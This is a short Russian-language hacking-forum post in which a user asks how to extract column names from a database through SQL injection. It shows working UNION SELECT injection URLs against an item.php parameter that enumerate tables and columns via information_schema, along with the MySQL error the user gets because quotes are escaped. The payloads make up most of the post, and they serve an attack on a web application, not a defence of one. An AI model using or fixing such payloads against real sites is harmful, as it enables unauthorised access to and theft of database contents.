27.08.2010, 20:19
|
|
Познающий
Регистрация: 20.07.2007
Сообщений: 99
С нами:
9900206
Репутация:
25
|
|
как вытащить имена полей с таблици еси например вот такой запрос сканывает:
Код:
http://www.lol.com/item.php?pid=-212+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+--+
пишу такое
Код:
http://www.lol.com/item.php?pid=-212+union+select+1,2,3,group_concat(COLUMN_NAME),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='название таблици'+limit+0+5+--+
выдает ошибку типа
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'название таблици\' limit 0 5 -- ORDER BY title ASC' at line 1
ну кроме тех пробелов в коде что добавляются шас )
че я тут неправельно пишу? |
|
|